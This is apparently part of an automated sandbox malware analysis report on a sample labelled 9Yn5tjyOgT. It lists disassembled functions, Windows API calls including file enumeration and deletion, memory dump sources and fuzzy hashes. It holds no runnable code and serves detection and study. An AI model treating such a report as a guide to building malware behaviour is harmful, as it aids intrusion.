SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,?), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

N, xrefs: 00405057
, xrefs: 00405385
M, xrefs: 00404F76

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,76232EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,76232EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,76232EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,76232EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,76232EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,76232EE0,00405B1A,?,00437800,76232EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000006.00000002.3405652812.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3405634207.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405673525.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405689900.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.3405715419.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 1a02374288937e462cbfdf7f0b84f8963b1ccabab36c0863b4787aba27791d3b
Instruction ID: b41365517dadb09c69eaf87789fd34eb77fb4a5ff64ddc4fb458d6156a5e0ce1
Opcode Fuzzy Hash: 1a02374288937e462cbfdf7f0b84f8963b1ccabab36c0863b4787aba27791d3b
Instruction Fuzzy Hash: DFE0DF32E08200CFE724EFA5AA494AD77B4EB80324B20847FF201F11D1CE7858818F6E

Function 39587B4F Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d74703e682d3968baaf163318c25e5a13f7afd55e516ad6ac94f288abdb85629
Instruction ID: 6a7e24991584755992a9eb96408e9a17cf59e2d471492e581b5234cf87cc91de
Opcode Fuzzy Hash: d74703e682d3968baaf163318c25e5a13f7afd55e516ad6ac94f288abdb85629
Instruction Fuzzy Hash: 0162AA74E01268CFDB64DF65C884BDDBBB2BB89301F1081EAD909AB251DB359E85CF50

Function 36B8BD88 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81cca6a6f42452f6b34884b3d838f626e0c7f6f777cd8be5a35a08dcd15f708c
Instruction ID: bbf6de922ee45895bb818f19925265b82b316cd391519555f02cc2e56a32875c
Opcode Fuzzy Hash: 81cca6a6f42452f6b34884b3d838f626e0c7f6f777cd8be5a35a08dcd15f708c
Instruction Fuzzy Hash: 40C1A074E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB355E86CF50

Function 36B8B07F Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33542d472c07499f44c75cbd0cf2d8ffc2840f6a03b97b69dc86d1acba3142c
Instruction ID: 62da7a5c0a55086f9938fad908188367f767503f4d5d5580117eb54e51a23207
Opcode Fuzzy Hash: d33542d472c07499f44c75cbd0cf2d8ffc2840f6a03b97b69dc86d1acba3142c
Instruction Fuzzy Hash: B5C1D074E01258CFEB14DFA5C994B9DBBB2BF89300F2080A9D819AB355DB359E85CF10

Function 36B8DEE1 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f532f84f361e26c4246aa7272f053ace08f0fe159f81bc0f6b3d578af2386518
Instruction ID: 95cbe93cdc5b9005ff35e540e8b9a95457c2b21a6951345816d60c7dd6b0bd98
Opcode Fuzzy Hash: f532f84f361e26c4246aa7272f053ace08f0fe159f81bc0f6b3d578af2386518
Instruction Fuzzy Hash: 4DC1C174E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB345E86CF51

Function 36B8E790 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3855cacab94f62f89ae7ef2037ec40099107d508f617e4090a2f4fbe3bec63e0
Instruction ID: 90fccd40bc01049ba7b1aba67ba6e7f5837a9d47f7486c5ef2add5101b54f6e8
Opcode Fuzzy Hash: 3855cacab94f62f89ae7ef2037ec40099107d508f617e4090a2f4fbe3bec63e0
Instruction Fuzzy Hash: 7FC1C174E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB355E86CF11

Function 36B8B930 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1010d949d1934446cd6e12c47b8d830ce24b1f8e306efb28d781389800015340
Instruction ID: 3bee574b642949c13d5a7abd3b712937db5d50a30b35a1fefaaa5d3d1b5e713f
Opcode Fuzzy Hash: 1010d949d1934446cd6e12c47b8d830ce24b1f8e306efb28d781389800015340
Instruction Fuzzy Hash: CAC1CF74E01258CFEB14DFA5C994B9DBBB2BF89300F2080A9D819AB355DB349E85CF50

Function 36B8F042 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b7f730abc826d8436f33161a39fe047167084abb444564fec3a80a6bb76962f
Instruction ID: d5670ffc91935a1b387aeb4277ab614a7e3ae5c1cbf633d839def1a372f20ff9
Opcode Fuzzy Hash: 7b7f730abc826d8436f33161a39fe047167084abb444564fec3a80a6bb76962f
Instruction Fuzzy Hash: 2CC1B074E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E85CF50

Function 36B8DA89 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48a205bc8d6e17eca9f5f2e3c8c2b42a8dc733b6d2927585940cb929386992b3
Instruction ID: d399eb69e786756fadbf01761ab3f8f2a95abc80a0bed160e890b46fba1055f9
Opcode Fuzzy Hash: 48a205bc8d6e17eca9f5f2e3c8c2b42a8dc733b6d2927585940cb929386992b3
Instruction Fuzzy Hash: EDC1A074E01258CFEB14DFA5C994B9DBBB2BF89300F2081AAD409AB355DB359E85CF50

Function 36B8EBF2 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3432402753.0000000036B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 36B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_36b80000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40002cfb88fae9217674478683fd3fc9fb0af28c1dad7181d69ec727142ece07
Instruction ID: f5c4f4f242ab3d7c89e857770ad9c2b594b2eb486822bb3f3bbe168cc7da013d
Opcode Fuzzy Hash: 40002cfb88fae9217674478683fd3fc9fb0af28c1dad7181d69ec727142ece07
Instruction Fuzzy Hash: 20C1C074E00258CFEB14DFA5C994B9DBBB2BF89300F2081A9D409AB355DB359E86CF51

Function 39582108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c992a68294573f410494c6161bda0a587a1fda6c402b4c0d732ad1cac30f177a
Instruction ID: 5ed77633c12b90af5fe89845eaea00ca3a8275152bb9e1d77036792ce2595a0a
Opcode Fuzzy Hash: c992a68294573f410494c6161bda0a587a1fda6c402b4c0d732ad1cac30f177a
Instruction Fuzzy Hash: 94C1AF74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 395829B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81735143db61ecf270544090e874db3e906615efc5577c5d3215f145034e79c7
Instruction ID: 439a483d388457ff7ae41584d53c560188f547aed7c878b66c18f78341e916a6
Opcode Fuzzy Hash: 81735143db61ecf270544090e874db3e906615efc5577c5d3215f145034e79c7
Instruction Fuzzy Hash: FBC1AF74E01258CFEB54DFA5C994B9DBBB2BF89300F2080A9D409AB355DB359E85CF50

Function 39581858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1c166091e693554fe6f6f32552015b224580b11404abf2686ec8f491ce1a0e
Instruction ID: ebb0a98fecabfdf776d486f51d9a4b7dad42e16d5f461217a5fc1dda70f5cb95
Opcode Fuzzy Hash: cd1c166091e693554fe6f6f32552015b224580b11404abf2686ec8f491ce1a0e
Instruction Fuzzy Hash: 29C1AD74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 39587070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f949c7d0fbfe26f26ecff949a7282a7cdfabf850318e2a90ba1a5e329fc286fb
Instruction ID: 011f7a886ca4994bcc372c084da523cd81abda63ebbb402812382bc9b1da676b
Opcode Fuzzy Hash: f949c7d0fbfe26f26ecff949a7282a7cdfabf850318e2a90ba1a5e329fc286fb
Instruction Fuzzy Hash: 05C1A174E01258CFEB14DFA9C994B9DBBB2BF89300F2081A9D809AB355DB355E85CF50

Function 39584820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce2d68890d0499b95eb770c8266d28b4869989ad4c924c6c09ff0dfb50d827fd
Instruction ID: 5be6900d1209ef87f1f417f11b76b56256fe0b3df1f108a4300867183feb54f4
Opcode Fuzzy Hash: ce2d68890d0499b95eb770c8266d28b4869989ad4c924c6c09ff0dfb50d827fd
Instruction Fuzzy Hash: 57C1C074E00258CFEB14DFA5C994B9DBBB2BF89300F2080A9D809AB355DB349E85CF50

Function 39586368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c2d32f240b714e08af8f1bd3f631a6c530136b4e08ff75550790d59c6e80ee6
Instruction ID: 4e1b447fbe29b11e755e393ad57086ae8583807e0e9c4ac2b5d48ad38d28e8a9
Opcode Fuzzy Hash: 9c2d32f240b714e08af8f1bd3f631a6c530136b4e08ff75550790d59c6e80ee6
Instruction Fuzzy Hash: C5C1BE74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 39583B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68ffa17ed2bb60c1660c01e524cf242f27ee9556bc31257763949010d5e50d3
Instruction ID: 7c7c98939bd7d9fb538f1ba45a81023a752dc50031d8a80be4aaf33d1a1a7866
Opcode Fuzzy Hash: c68ffa17ed2bb60c1660c01e524cf242f27ee9556bc31257763949010d5e50d3
Instruction Fuzzy Hash: 97C1A074E01258CFEB54DFA9C994B9DBBB2BF89300F2080A9D409AB355DB359E85CF50

Function 395843C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb9e283a5e5e6b6727c8405270730c5e7b822cd819b04cbc4e8725ec682391b8
Instruction ID: 6f8705c08d16acbce42feb59648404ef93b0f3f2512ba9d2f793c256d89f9450
Opcode Fuzzy Hash: eb9e283a5e5e6b6727c8405270730c5e7b822cd819b04cbc4e8725ec682391b8
Instruction Fuzzy Hash: 82C1BF74E01258CFEB14DFA5C994B9DBBB2BF89301F2081A9D809AB355DB349E85CF50

Function 39583268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca2ec9798c240c7428282c833fc0c33c422e53ffd5c9a068a0accfbb6b26134
Instruction ID: 1d65f8fb370c717df2bbcd4ed35b0b9d0d5b25cb206eb9d5a2a477b1907bb1f9
Opcode Fuzzy Hash: 9ca2ec9798c240c7428282c833fc0c33c422e53ffd5c9a068a0accfbb6b26134
Instruction Fuzzy Hash: 27C1A074E01258CFEB54DFA9C994B9DBBB2BF89300F2080A9D409AB355DB359E85CF50

Function 39585208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 455c8fe0a526a1cf9a5c6f3ec4c79dba97863588db7eec2d02fe878c6816d660
Instruction ID: 869f7e84506aa4c9c3ca0193f006d23598508d8f8815a8bdb9e2956bb11bed55
Opcode Fuzzy Hash: 455c8fe0a526a1cf9a5c6f3ec4c79dba97863588db7eec2d02fe878c6816d660
Instruction Fuzzy Hash: 10C1BF74E01258CFEB14DFA5C994B9DBBB2BF89300F2080A9D409AB355DB359E86CF50

Function 39585AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff6227526692ea5eb786fa9e25823b0ed07ffcb49a638f92f1091784d6302504
Instruction ID: 9889019ba014113f1268695638bd0d7ff976c9c79eabcd9d41b8b1fafb3c45fc
Opcode Fuzzy Hash: ff6227526692ea5eb786fa9e25823b0ed07ffcb49a638f92f1091784d6302504
Instruction Fuzzy Hash: 1BC1B074E01258CFEB14DFA5C994B9DBBB2BF89300F2080A9D809AB355DB345E86CF50

Function 39582560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 340b87e138b02f874970bb07dda27b68c452b2601623bf9800371970739d8727
Instruction ID: 451760072ee98d8cef8045d14b732d1e92a17c819ead98ff8fe9948fbc541317
Opcode Fuzzy Hash: 340b87e138b02f874970bb07dda27b68c452b2601623bf9800371970739d8727
Instruction Fuzzy Hash: E0C1BE74E01258CFEB14DFA5C994B9DBBB2BF89300F2080A9D809AB355DB359E85CF50

Function 39584DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdda158d21c250ef1c155be0062203887a59ca70e99966bbb76a802fc38bcf08
Instruction ID: ea0246a14c66340f25f4419920a45e9586dd02c914e8411e4d7a4a8cd151c698
Opcode Fuzzy Hash: bdda158d21c250ef1c155be0062203887a59ca70e99966bbb76a802fc38bcf08
Instruction Fuzzy Hash: C7C1AF74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 39586C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be680bd9dfba27f22532673aea9ab4162938783d3f47e28ed8a35a66aa114d71
Instruction ID: c210a0e5c1289004b3488fc36f0dbfc582c0395c3228bbb12b0471fb6280de1e
Opcode Fuzzy Hash: be680bd9dfba27f22532673aea9ab4162938783d3f47e28ed8a35a66aa114d71
Instruction Fuzzy Hash: 57C1AF74E01258CFEB54DFA9C994B9DBBB2BF89300F2080A9D409AB355DB359E85CF50

Function 39581400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f511f5515e7b6d64babb1e94141a57e2208fddb6a73bb4bb2666e7616f79ff0e
Instruction ID: a430f6231793b06b9c3cd98c64492a58fb1964ed1b635956e8c8f49e66f07753
Opcode Fuzzy Hash: f511f5515e7b6d64babb1e94141a57e2208fddb6a73bb4bb2666e7616f79ff0e
Instruction Fuzzy Hash: F3C1AF74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 395874C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd919f57670eac06b06ef746957c374712f6151fb7f9e4343cb73e6a6564eaf7
Instruction ID: b648f02680cc4cfd53df23cc1a251bc025c194ad9f3b369a0574573cfeb0f937
Opcode Fuzzy Hash: cd919f57670eac06b06ef746957c374712f6151fb7f9e4343cb73e6a6564eaf7
Instruction Fuzzy Hash: 6CC1A074E01258CFEB54DFA9C994B9DBBB2BF89300F2080A9D409AB355DB355E85CF50

Function 39581CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45f8bf1ac0c46d9e335103d430da3e333f4cd71199c66c1d74f734d1854bb13
Instruction ID: caa01bb134b4d3f4ae97fd8a6b99390fcee4b6a72561f7df497df6454a7d00d9
Opcode Fuzzy Hash: b45f8bf1ac0c46d9e335103d430da3e333f4cd71199c66c1d74f734d1854bb13
Instruction Fuzzy Hash: 42C1AF74E01258CFEB14DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 39583F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3433982988.0000000039580000.00000040.00000800.00020000.00000000.sdmp, Offset: 39580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_39580000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b37dbec86577b11c0ba93eb3577ebcae50a25a160fe2432196ba2fbd683a48fb
Instruction ID: 75e4aa4f918dfdf1609ba7d05cf9ebcad16ffc06e2a9f624a5148f028d05c277
